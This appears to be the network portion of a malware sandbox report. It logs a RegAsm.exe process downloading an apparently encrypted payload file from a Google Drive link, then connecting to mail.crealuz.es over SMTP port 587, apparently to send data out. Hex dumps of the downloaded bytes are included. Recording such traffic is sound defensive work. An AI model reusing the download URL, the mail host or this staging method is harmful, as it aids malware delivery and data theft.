Sep 27, 2021 20:15:42.628894091 CEST	587	49790	31.193.225.171	192.168.11.20
Sep 27, 2021 20:15:42.629394054 CEST	49790	587	192.168.11.20	31.193.225.171
Sep 27, 2021 20:15:42.681047916 CEST	587	49790	31.193.225.171	192.168.11.20
Sep 27, 2021 20:15:42.681595087 CEST	49790	587	192.168.11.20	31.193.225.171
Sep 27, 2021 20:15:42.706558943 CEST	49790	587	192.168.11.20	31.193.225.171
Sep 27, 2021 20:15:42.760273933 CEST	587	49790	31.193.225.171	192.168.11.20
Sep 27, 2021 20:15:42.760298014 CEST	587	49790	31.193.225.171	192.168.11.20
Sep 27, 2021 20:15:42.760559082 CEST	49790	587	192.168.11.20	31.193.225.171
Sep 27, 2021 20:15:42.760581970 CEST	49790	587	192.168.11.20	31.193.225.171
Sep 27, 2021 20:15:42.761111021 CEST	587	49790	31.193.225.171	192.168.11.20
Sep 27, 2021 20:15:42.761267900 CEST	49790	587	192.168.11.20	31.193.225.171

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 27, 2021 20:13:18.582467079 CEST	57990	53	192.168.11.20	1.1.1.1
Sep 27, 2021 20:13:18.591799974 CEST	53	57990	1.1.1.1	192.168.11.20
Sep 27, 2021 20:13:18.685797930 CEST	51518	53	192.168.11.20	1.1.1.1
Sep 27, 2021 20:13:18.847676039 CEST	53	51518	1.1.1.1	192.168.11.20
Sep 27, 2021 20:14:08.289891005 CEST	54587	53	192.168.11.20	1.1.1.1
Sep 27, 2021 20:14:08.299207926 CEST	53	54587	1.1.1.1	192.168.11.20
Sep 27, 2021 20:14:08.990601063 CEST	59422	53	192.168.11.20	1.1.1.1
Sep 27, 2021 20:14:09.024334908 CEST	53	59422	1.1.1.1	192.168.11.20
Sep 27, 2021 20:15:40.327378988 CEST	52027	53	192.168.11.20	1.1.1.1
Sep 27, 2021 20:15:40.418462038 CEST	53	52027	1.1.1.1	192.168.11.20
Sep 27, 2021 20:20:43.051867962 CEST	62062	53	192.168.11.20	1.1.1.1
Sep 27, 2021 20:20:43.060532093 CEST	53	62062	1.1.1.1	192.168.11.20

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Sep 27, 2021 20:14:08.289891005 CEST	192.168.11.20	1.1.1.1	0xd52c	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)
Sep 27, 2021 20:14:08.990601063 CEST	192.168.11.20	1.1.1.1	0xe63f	Standard query (0)	doc-0g-50-docs.googleusercontent.com	A (IP address)	IN (0x0001)
Sep 27, 2021 20:15:40.327378988 CEST	192.168.11.20	1.1.1.1	0xeeb4	Standard query (0)	mail.crealuz.es	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Sep 27, 2021 20:14:08.299207926 CEST	1.1.1.1	192.168.11.20	0xd52c	No error (0)	drive.google.com		142.250.185.174	A (IP address)	IN (0x0001)
Sep 27, 2021 20:14:09.024334908 CEST	1.1.1.1	192.168.11.20	0xe63f	No error (0)	doc-0g-50-docs.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)
Sep 27, 2021 20:14:09.024334908 CEST	1.1.1.1	192.168.11.20	0xe63f	No error (0)	googlehosted.l.googleusercontent.com		142.250.184.193	A (IP address)	IN (0x0001)
Sep 27, 2021 20:15:40.418462038 CEST	1.1.1.1	192.168.11.20	0xeeb4	No error (0)	mail.crealuz.es	crealuz.es		CNAME (Canonical name)	IN (0x0001)
Sep 27, 2021 20:15:40.418462038 CEST	1.1.1.1	192.168.11.20	0xeeb4	No error (0)	crealuz.es		31.193.225.171	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

drive.google.com

doc-0g-50-docs.googleusercontent.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.11.20	49787	142.250.185.174	443	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-27 18:14:08 UTC	0	OUT	GET /uc?export=download&id=1BI6jwZVoFi4HfxwZ55n_4RDvYEIhfZDr HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko Host: drive.google.com Cache-Control: no-cache
2021-09-27 18:14:08 UTC	0	IN	HTTP/1.1 302 Moved Temporarily Content-Type: text/html; charset=UTF-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 27 Sep 2021 18:14:08 GMT Location: https://doc-0g-50-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/u51n8gtgjt7qad4qcj007t879hm9qvts/1632766425000/00519186742208262786/*/1BI6jwZVoFi4HfxwZ55n_4RDvYEIhfZDr?e=download P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Security-Policy: script-src 'nonce-QqxGXGxjDbZHDol27OIbvw' 'unsafe-inline' 'strict-dynamic' https: http: 'unsafe-eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/ X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Server: GSE Set-Cookie: NID=511=jDXDDDbdJdHJ7vOvHc-VSPAjq_kIDxqG72IYeroQieqNGNivGXuIPjN8R8utdvIcSGJ29IEZD6pvIHWSiK985AtQlDffc6a5HpjpTqCjQ0dJnN-j_f-GlJ8vgkqM7HA61NFysNk2QJt-WdFusPT_Uic7jNhrkZv8nyWTiT3dlbs; expires=Tue, 29-Mar-2022 18:14:08 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2021-09-27 18:14:08 UTC	1	IN	Data Raw: 31 38 34 0d 0a 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4d 6f 76 65 64 20 54 65 6d 70 6f 72 61 72 69 6c 79 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4d 6f 76 65 64 20 54 65 6d 70 6f 72 61 72 69 6c 79 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 64 6f 63 2d 30 67 2d 35 30 2d 64 6f 63 73 2e 67 6f 6f 67 6c 65 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 64 6f 63 73 2f 73 65 63 75 72 65 73 63 2f 68 61 30 72 6f 39 33 37 67 63 75 63 37 6c 37 64 65 66 66 6b 73 75 6c 68 67 35 68 37 6d 62 70 31 2f 75 35 31 6e Data Ascii: 184<HTML><HEAD><TITLE>Moved Temporarily</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000"><H1>Moved Temporarily</H1>The document has moved <A HREF="https://doc-0g-50-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/u51n
2021-09-27 18:14:08 UTC	1	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.11.20	49788	142.250.184.193	443	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-27 18:14:09 UTC	1	OUT	GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/u51n8gtgjt7qad4qcj007t879hm9qvts/1632766425000/00519186742208262786/*/1BI6jwZVoFi4HfxwZ55n_4RDvYEIhfZDr?e=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko Cache-Control: no-cache Host: doc-0g-50-docs.googleusercontent.com Connection: Keep-Alive
2021-09-27 18:14:09 UTC	2	IN	HTTP/1.1 200 OK X-GUploader-UploadID: ADPycds8N9GMS-Vai36s03Wzhvhus7f_AQ4FOFgjWX6eUSD2PG-YdxAoukePuWgaPEocZ6n9msK68FRLRvZyuNpCCrQe5VnOJw Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, x-chrome-connected, X-ClientDetails, X-Client-Version, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogApps-Allowed-Domains, X-Goog-AdX-Buyer-Impersonation, X-Goog-Api-Client, X-Goog-AuthUser, x-goog-ext-124712974-jspb, x-goog-ext-251363160-jspb, x-goog-ext-259736195-jspb, X-Goog-PageId, X-Goog-Encode-Response-If-Executable, X-Goog-Correlation-Id, X-Goog-Request-Info, X-Goog-Request-Reason, X-Goog-Experiments, x-goog-iam-authority-selector, x-goog-iam-authorization-token, X-Goog-Spatula, X-Goog-Travel-Bgr, X-Goog-Travel-Settings, X-Goog-Upload-Command, X-Goog-Upload-Content-Disposition, X-Goog-Upload-Content-Length, X-Goog-Upload-Content-Type, X-Goog-Upload-File-Name, X-Goog-Upload-Header-Content-Encoding, X-Goog-Upload-Header-Content-Length, X-Goog-Upload-Header-Content-Type, X-Goog-Upload-Header-Transfer-Encoding, X-Goog-Upload-Offset, X-Goog-Upload-Protocol, x-goog-user-project, X-Goog-Visitor-Id, X-Goog-FieldMask, X-Google-Project-Override, X-Goog-Api-Key, X-HTTP-Method-Override, X-JavaScript-User-Agent, X-Pan-Versionid, X-Proxied-User-IP, X-Origin, X-Referer, X-Requested-With, X-Stadia-Client-Context, X-Upload-Content-Length, X-Upload-Content-Type, X-Use-HTTP-Status-Code-Override, X-Ios-Bundle-Identifier, X-Android-Package, X-Ariane-Xsrf-Token, X-YouTube-VVT, X-YouTube-Page-CL, X-YouTube-Page-Timestamp, X-Compass-Routing-Destination, x-framework-xsrf-token, X-Goog-Meeting-ABR, X-Goog-Meeting-Botguardid, X-Goog-Meeting-ClientInfo, X-Goog-Meeting-ClientVersion, X-Goog-Meeting-Debugid, X-Goog-Meeting-Identifier, X-Goog-Meeting-RtcClient, X-Goog-Meeting-StartSource, X-Goog-Meeting-Token, X-Client-Data, x-sdm-id-token, X-Sfdc-Authorization, MIME-Version, Content-Transfer-Encoding, X-Earth-Engine-App-ID-Token, X-Earth-Engine-Computation-Profile, X-Earth-Engine-Computation-Profiling, X-Play-Console-Experiments-Override, X-Play-Console-Session-Id, x-alkali-account-key, x-alkali-application-key, x-alkali-auth-apps-namespace, x-alkali-auth-entities-namespace, x-alkali-auth-entity, x-alkali-client-locale, EES-S7E-MODE, cast-device-capabilities, X-Server-Timeout Access-Control-Allow-Methods: GET,OPTIONS Content-Type: application/octet-stream Content-Disposition: attachment;filename="Lbg_UWZNnsAhD221.bin";filename*=UTF-8''Lbg_UWZNnsAhD221.bin Date: Mon, 27 Sep 2021 18:14:09 GMT Expires: Mon, 27 Sep 2021 18:14:09 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=y5TboA== Content-Length: 220736 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2021-09-27 18:14:09 UTC	5	IN	Data Raw: 47 4d 21 4e 0e 9a cc 79 5f 13 e1 a2 b2 01 83 4c bd d2 65 f2 67 c0 f0 f1 74 a4 38 dd 69 fd f6 08 83 7e 95 00 ed 89 16 f8 db 9c 10 e7 0a 21 03 3f 06 d7 3c c2 69 a6 1e fd 5c d0 55 b5 72 d0 ce 57 52 d8 ab 86 f9 b5 d2 ac 3a e0 43 7b c8 dd 91 b5 b4 6e 04 92 06 e8 54 ef 46 c2 4c 18 ed 12 61 06 c7 95 0f 26 13 29 f0 9b 46 40 8c 75 8e 2c 8c d3 cd 02 d0 d2 6a 51 cd 80 91 f7 92 11 55 2b b5 a2 df 3e 9c 5b 5d fe f6 7e 92 9d 40 57 63 a2 49 87 4a f6 c4 dd c0 ad 46 59 cd a6 6e 73 7d e0 23 1b 63 10 3e c7 3a 2b 7c a1 33 92 b8 28 5a 1d 92 95 4a 4e 66 83 9b ea 6f c5 9d 5c 42 11 6f b6 22 b3 80 1e a9 6a e3 bc 87 ef c4 76 56 fe ec a8 e4 cc e8 79 a7 58 db c4 5c 89 49 fb 89 d6 11 0f 1b ba eb 5f cf fd f4 cc 59 48 ec 49 17 6d 70 25 32 e8 6f 8e fc b1 10 48 78 81 94 c1 fa 37 cf 1e 7a Data Ascii: GM!Ny_Legt8i~!?<i\UrWR:C{nTFLa&)F@u,jQU+>[]~@WcIJFYns}#c>:+\|3(ZJNfo\Bo"jvVyX\I_YHImp%2oHx7z
2021-09-27 18:14:09 UTC	9	IN	Data Raw: a8 e4 cc e9 51 a7 58 39 c4 27 88 54 75 81 dc 11 59 18 ba e9 59 96 fd b6 57 59 42 d2 3c 14 6d 70 05 32 e8 c2 23 fc a3 0a 48 38 80 8f d1 ff 37 d8 1d 7a 9e 9d c3 2d b2 4d 04 9d 6b 54 18 4e 64 87 61 b5 78 cf 5b b8 de 1c 5f 10 d8 61 fa ab ec 6a 4e 91 a7 57 58 c4 b5 6c 28 83 11 00 f2 9f 2c 2a ec a5 ce 03 2c df 10 0a 90 9e 5f 6a 56 a6 7d 75 e7 54 7b 00 d3 96 29 88 b6 64 d2 92 41 73 13 8e d7 02 70 70 c1 dd b9 29 71 ab fe 0b 69 09 6b c0 e5 70 34 66 3b 46 fc 75 3c c7 eb 83 7c 25 c6 11 0a 15 52 18 89 17 d2 c0 2d ca 90 f2 8f 03 37 c0 b9 c7 33 7a 83 4c 73 91 6e ce c4 8c c6 da a1 bc a7 79 7d 88 18 01 e3 2e 78 55 70 a3 f0 f3 4b 04 56 91 57 64 62 66 ab 7d ff 76 f0 02 6d 93 0b bf 3e fa 2a 27 23 48 c4 6e a5 df 8b 65 d3 11 a9 db 43 98 32 65 60 64 95 40 74 3e b2 0d 75 32 c6 Data Ascii: QX9'TuYYWYB<mp2#H87z-MkTNdax[_ajNWXl(,,_jV}uT{)dAspp)qikp4f;Fu<\|%R-73zLsny}.xUpKVWdbf}vm>'#HneC2e`d@t>u2
2021-09-27 18:14:09 UTC	12	IN	Data Raw: 8a 45 88 69 95 7f 19 71 60 8a 4a e8 67 f2 00 45 d8 0f a0 27 03 44 53 2d 41 d1 6f ba 9d 71 d2 bc 4c 0b c4 5d 98 33 74 74 71 8b 68 66 15 a8 00 6a 0b ad 0c af 50 ef 37 fd 6b e4 80 44 4e 69 fd af 03 3a 9b ab 4c 68 a8 a9 2a e8 35 28 41 e2 b3 b8 00 79 7a 66 40 62 5a 2f 27 e6 1e 06 8f e9 a9 8d 2a 3f 59 35 1d 04 f2 40 3a aa a1 bc 38 cc 67 71 70 9f ab 4c 79 57 d2 23 c1 c5 9f 32 82 43 6d ed f4 a4 b2 7e c3 cc 5a f6 13 9f a2 6c 31 16 8c f6 42 4a 0c bb a2 aa e0 63 3f 1c 7f fd ed 7a 30 8c 0b 89 f0 5c f9 31 52 a9 97 71 0a 6f d5 31 eb 59 d7 c1 49 46 69 da fc ca 4c 49 2f 57 8a 30 3c 16 35 3a 7d e2 1b 71 c7 60 93 32 6b 5c 22 cd 3b f6 59 25 13 98 fe 24 b5 da 95 ed c1 34 4f 99 7b 42 a1 de 2b 68 35 a5 cd 07 60 24 b6 cc f0 cb 93 c4 78 f0 d4 a7 df d2 55 08 7e 3c 8f 43 bf f4 64 Data Ascii: Eiq`JgE'DS-AoqL]3ttqhfjP7kDNi:Lh5(Ayzf@bZ/'?Y5@:8gqpLyW#2Cm~Zl1BJc?z0\1Rqo1YIFiLI/W0<5:}q`2k\";Y%$4O{B+h5`$xU~<Cd
2021-09-27 18:14:09 UTC	16	IN	Data Raw: e2 d7 08 58 0f 7e 75 fc 0f 5c 2c ef ca e9 05 4d b1 ea 51 83 fc 3b 1e 37 af 15 2f ea 2c 9e 06 ef c1 19 f4 be f0 d5 85 9a dd 70 2a 56 36 03 16 ac d7 4d 43 6f 8b 49 4e 27 17 05 86 a8 f0 be b7 59 56 81 b7 8c b3 d4 2a f7 4d d5 89 5e 1e 77 6e 8d c4 db 9b e2 07 dc e3 2e a3 8a c7 f3 fe ed eb 22 2b 6d d3 39 5d 05 ab 87 7b 1d f7 d8 d9 9c 80 e7 aa fb 46 c1 19 b6 af b5 a4 73 45 4c d1 63 63 5a 58 02 60 8d f8 c3 20 bf 01 93 29 15 27 df 14 57 3e c4 b3 64 9e da 4d f4 7f 47 22 05 c1 16 a0 51 a8 d6 ba 3c 9c f2 37 02 1f 13 88 87 c3 2a 93 7d 47 21 cd 05 34 48 d0 be e5 3f ad ba e5 79 bd 13 b7 e6 0c c4 29 3a 58 48 08 1b 29 f6 18 2c 15 11 11 4b 27 75 e5 89 33 cf 54 6f 5c 3d a6 c9 50 cf 0a 24 01 be 79 5d d1 65 95 ed 9d c0 98 31 29 95 43 24 43 4c 81 9a 07 08 9d 0b 8c 14 1e 23 d6 Data Ascii: X~u\,MQ;7/,pV6MCoIN'YVM^wn."+m9]{FsELccZX` )'W>dMG"Q<7*}G!4H?y):XH),K'u3To\=P$y]e1)C$CL#
2021-09-27 18:14:09 UTC	18	IN	Data Raw: 58 57 30 1b 23 e8 d5 2b 2c 21 39 98 2d ab e3 f2 e6 c8 2a 6b 82 32 87 f7 54 e1 11 06 79 95 51 63 f9 a6 9d 33 9b c0 95 76 ef 94 43 28 04 41 81 9a 07 fe fd 21 bb 12 36 0e fe 23 48 10 2a 26 77 ec 13 08 b8 2c 8b 9e de aa b1 02 7c 37 c4 20 0b fb 57 18 ae 43 6d cb 0b 3d 3f ad 26 9d 47 d3 90 77 45 23 e2 2b 37 11 46 58 c8 82 3b 8c eb bd bd 74 3e e0 49 51 37 63 85 b0 0c 6c 04 92 06 e1 57 ef 06 8e 4c 18 ed 47 62 06 c7 83 0f 26 13 29 f0 9b 46 40 8c 75 8e 47 8f d3 cd 0c d0 d2 6a 28 ce 80 91 f8 92 11 d5 31 b5 a2 d0 21 26 55 5d c2 fc b3 b3 2b 41 1b ae 15 1e ef 23 8a e4 ad b2 d8 21 2b ad cb 4e 10 1c 2b 4e 74 17 3e 5c a2 1a ea 0a cf 13 f4 d6 08 1e 48 c1 b5 26 21 02 e6 b5 25 61 cf b9 52 42 11 6f 66 21 b3 d0 54 a9 6a af a7 84 ef 6e d2 d0 a1 ec 77 e7 cc e8 77 a7 58 3b 29 5d Data Ascii: XW0#+,!9-k2TyQc3vC(A!6#H&w,\|7 WCm=?&GwE#+7FX;t>IQ7clWLGb&)F@uGj(1!&U]+A#!+N+Nt>\H&!%aRBof!TjnwwX;)]
2021-09-27 18:14:09 UTC	19	IN	Data Raw: 5d fb 68 91 57 02 7d 60 80 4e f7 7f e1 1e 45 c9 0a bd 34 fd 45 a2 29 48 ce d8 a3 b5 51 56 b0 4a a9 d5 49 8b 37 74 65 75 92 96 67 39 a3 a5 70 23 c0 26 af 56 4d f9 e2 6f e4 84 40 54 97 e6 83 1b 32 8c 83 35 68 5c af 26 fa ba 00 2f e0 32 b3 28 03 75 66 4a c0 5b 3c 23 e7 0f 02 90 fd cf 81 06 32 37 2a 0c 7a 15 4d 3a ae 0c a3 2d df 79 71 61 9a ae 82 7e 7b 22 2b da bb a4 32 82 56 bc 2b fd b7 bc 72 fa 19 4e 08 14 9b 73 79 22 14 ff 47 46 55 1e 4e ab ae 31 4a 3a 22 f8 da 12 85 3d fa 05 e6 2b 58 d1 1f 5a bf f2 87 19 5f dd 39 e4 37 0a c1 41 4c 61 eb a1 c3 67 52 40 8e 9d ce 37 12 e3 20 76 e4 6f b8 39 61 b5 23 79 7f f3 c8 23 0e 2b d6 11 b3 f6 02 5f e3 e5 9c 21 32 4d bb f3 46 b0 d0 01 71 d6 a5 cb 25 ed 21 a0 38 ee 9e 26 2a 78 f0 d5 9e 40 c4 3a e0 61 36 09 34 28 f4 65 71 Data Ascii: ]hW}`NE4E)HQVJI7teug9p#&VMo@T25h\&/2(ufJ[<#27zM:-yqa~{"+2V+rNsy"GFUN1J:"=+XZ_97ALagR@7 vo9a#y#+_!2MFq%!8&x@:a64(eq
2021-09-27 18:14:09 UTC	20	IN	Data Raw: 74 80 33 ac 12 bc 38 ee 3b 3c 2c 10 26 73 48 24 09 a4 45 fd 8f ce ba 88 73 13 f9 ce 33 0e ff 69 7c af bd 6b eb 23 47 39 de f9 3f 56 c9 f8 a7 e7 32 f8 24 77 17 78 37 1b 20 2a 96 e7 b3 70 bd 2e fe 40 d9 26 32 b9 ce 0c 6e 0e 9e 00 9b 28 ef 06 c4 5f 1e c5 ce 63 06 c1 84 09 2e 7c a9 f0 9b 40 68 a8 75 8e 26 80 fb 10 00 d0 d4 79 59 dc 88 b9 be 92 11 df 5f 86 a2 d1 20 35 51 23 50 ff b3 b7 09 61 33 70 81 1d e9 03 df c7 ad b2 d4 52 8c ad cb 48 03 15 9f 49 65 1e 44 24 a2 1a 58 66 3a 13 fb dc 19 1a 7a 8b b5 27 2b 6d ad b5 e7 68 de bd 4b 2d 5d 6f b6 28 a2 d4 7b b9 4d af bd eb a2 6f d2 da b0 e8 bf 8b 82 e8 79 ad 49 3f db 6c e7 0d fa 81 dc 00 5d 30 f7 e9 59 c9 92 a5 cc 59 42 c3 38 3c b2 72 05 34 87 3f 8e fc bb 18 60 d8 83 94 e7 d2 d6 cd 1c 7c f1 f6 c3 2d a9 43 04 43 6b Data Ascii: t38;<,&sH$Es3i\|k#G9?V2$wx7 *p.@&2n(_c.\|@hu&yY_ 5Q#Pa3pRHIeD$Xf:z'+mhK-]o({MoyI?l]0YYB8<r4?`\|-CCk
2021-09-27 18:14:09 UTC	22	IN	Data Raw: 0e a5 88 4d 39 c4 69 ce 91 41 44 97 fc 83 1b 33 8c 95 23 68 19 b9 26 fa 36 1b 1f e4 b3 2e 28 03 7a 4f 4a c0 50 14 0d e4 0f 04 9b 83 75 8c 06 36 78 28 0d 7a e0 2f 57 ae 03 a9 21 a1 41 71 61 9f 9d f4 78 7b d8 02 d2 ba 87 38 ed 4e ce f2 f7 ba bf 6a 2c c9 5a f6 13 ba 89 55 20 12 8a f1 6e 7b 14 45 a9 90 1c 49 2c da 96 60 3e 8b 3e da 6a 8b f0 5e f9 31 52 a9 97 50 c7 66 df 25 1d 59 c1 3f 40 4e 41 e5 e8 c1 61 44 07 7e 9d ce 37 2c c9 23 60 1c 1d 07 15 6d b7 18 04 55 22 cc 0b 2c 58 09 1b b8 22 00 73 da d7 ef c1 38 5e b5 c8 7a a1 d4 09 c0 37 a2 e1 2e eb 24 b6 c6 ef c7 1f e2 07 f0 da 95 44 d2 54 11 51 35 03 ba bf f4 65 51 6f 8b 52 86 2a 3e 95 ae 70 f0 be b8 2a 6e 80 9b 92 13 fa 0f df 7e d3 81 7c 30 53 46 b3 d2 e5 15 3c 07 cd f6 0b 69 83 dc 0b 8b cf e2 2a 43 07 14 39 Data Ascii: M9iAD3#h&6.(zOJPu6x(z/W!Aqax{8Nj,ZU n{EI,`>>j^1RPf%Y?@NAaD~7,#`mU",X"s8^z7.$DTQ5eQoR>pn~\|0SF<i*C9
2021-09-27 18:14:09 UTC	23	IN	Data Raw: e8 38 0d 6f b1 37 1f 88 54 74 fa b5 d8 d2 16 e0 43 7f 21 0a bf b5 0c 64 12 bc 69 96 5c ef 06 c6 32 10 ed 12 65 69 0e 95 0f 2c 0e f3 9f 90 47 40 86 7f 88 04 7d d1 cd 04 c6 fa 44 51 cd 8a 87 09 93 07 2b 2a cb aa d1 21 22 2b 55 4a ff b7 dc ec 41 1b a4 99 c7 80 28 84 e4 a7 cc da 21 2b a8 dd 66 3e 1c 8e 47 62 e9 31 4a 5c 1b 06 25 d3 6d f3 d6 08 1a 44 bf bd 27 21 06 89 7c e7 62 c5 ae 86 2d e3 6f b6 28 33 d8 5b a9 6e 72 81 82 ef 6f fa d4 a1 ec ae 8b c0 e9 79 ad 37 36 c5 5e 82 40 e5 88 28 10 06 34 a3 95 51 cf fd f0 e4 ab 4a d2 3a 3c 49 70 05 38 68 67 8e fc b5 cd 44 3e 81 94 c9 fe 37 cf 1a 15 92 8f c3 27 cc 42 2d d4 61 56 0d 49 a9 86 3e 98 6b b7 7b f2 de 18 7d 8c 91 61 fc 89 ce 7d 21 d7 27 5f 52 c2 91 91 ba 86 11 6f bd 80 25 13 f3 cc a9 4d 2c db 32 f8 8d ac 36 0d Data Ascii: 8o7TtC!di\2ei,G@}DQ+*!"+UJA(!+f>Gb1J\%mD'!\|b-o(3[nroy76^@(4QJ:<Ip8hgD>7'B-aVI>k{}a}!'_Ro%M,26
2021-09-27 18:14:09 UTC	24	IN	Data Raw: 2a 08 6e 6a 67 3a ae 07 7e 8b de 63 71 63 23 9d ff 78 7b d8 02 39 b9 87 34 94 6f e1 f2 fd bd a0 4d cb b6 44 08 12 b7 89 9f 20 12 8a cf 62 55 14 4f 23 8e e2 48 3e 1c ff 01 12 85 35 4a 3a c4 f0 58 d7 3d b7 ab 9d 5d 0f 77 f9 31 e3 52 c1 f2 58 38 61 cb ea c5 4f b4 2d 50 9b e6 19 3a 37 28 f6 ea 1c 67 3d 59 85 31 7c 57 20 72 0b 45 58 09 17 9b 1b 0d 56 f4 f6 c7 ef 32 4d bb f6 71 b8 aa 0b 1e 37 a1 e3 c7 f9 24 b0 ee cb c1 1f 91 f8 f8 d5 8f 40 ea 59 03 61 36 01 a4 97 b9 65 7b 69 a3 87 92 27 00 1b 86 5e f0 be bb 20 a3 98 c9 8e 6d db 0b f7 93 d7 89 52 25 77 46 b5 ce 5b 99 3c 07 c9 d3 d8 69 8a c7 dd 8e e3 eb 24 5f 0e 14 39 57 60 65 89 5e 3f e8 dc d9 96 95 ad 8e c2 46 cb 7c 79 ae a4 a6 4d 74 4d 8e 49 2c e2 50 02 6a 57 f5 5e 20 c5 01 93 25 69 13 f6 2c 5d 16 ea 6d 64 85 Data Ascii: *njg:~cqc#x{94oMD bUO#H>5J:X=]w1RX8aO-P:7(g=Y1\|W rEXV2Mq7$@Ya6e{i'^ mR%wF[<i$_9W`e^?F\|yMtMI,PjW^ %i,]md
2021-09-27 18:14:09 UTC	25	IN	Data Raw: 75 84 3f 8b c9 de 19 d0 c3 71 4e e4 7e 90 db 99 00 de 3a a0 74 c2 2a 39 7f 4e 51 ff a2 a8 3a 78 e5 af af 17 9c 01 87 e4 ab b8 dd 1b 38 b7 cb 5f 0b 03 a4 b3 75 3b 3e 5e b3 11 71 1e ce 13 f1 c5 10 01 79 d2 ae 27 30 19 f9 a7 19 63 e3 b7 5e 53 1a 47 a0 23 b3 da 48 a5 75 bc ae 9f ef 7e c9 cf bd 12 a9 c8 d9 c0 6d a6 58 31 c6 4f 83 53 ea ee c3 10 59 12 a9 e4 46 d2 ee ef cc 48 53 cd 07 ea 6c 5c 0e 34 ef 00 a8 fe b1 16 57 04 92 8f e1 eb 2c d0 28 84 9f a2 d1 05 b7 4e 2c de 7a 51 7d 23 56 87 6b a7 6b d6 46 e1 c5 1c 44 64 8c 4a 04 a0 c6 77 30 d6 bd 81 41 c9 8a 60 75 98 11 7e a4 80 0f de eb 9e ab 5c 27 c5 cc 1f 84 b3 14 36 4d a6 66 68 d0 12 87 01 f9 f4 68 99 32 6a ef d5 f2 8e ec 97 b3 40 6b 70 da c0 c9 4c 8f aa d8 1c 7f 78 79 da e4 71 51 1d 6c 44 f6 5b 5a 9f e9 85 6c Data Ascii: u?qN~:t*9NQ:x8_u;>^qy'0c^SG#Hu~mX1OSYFHSl\4W,(N,zQ}#VkkFDdJw0A`u~\'6Mfhh2j@kpLxyqQlD[Zl
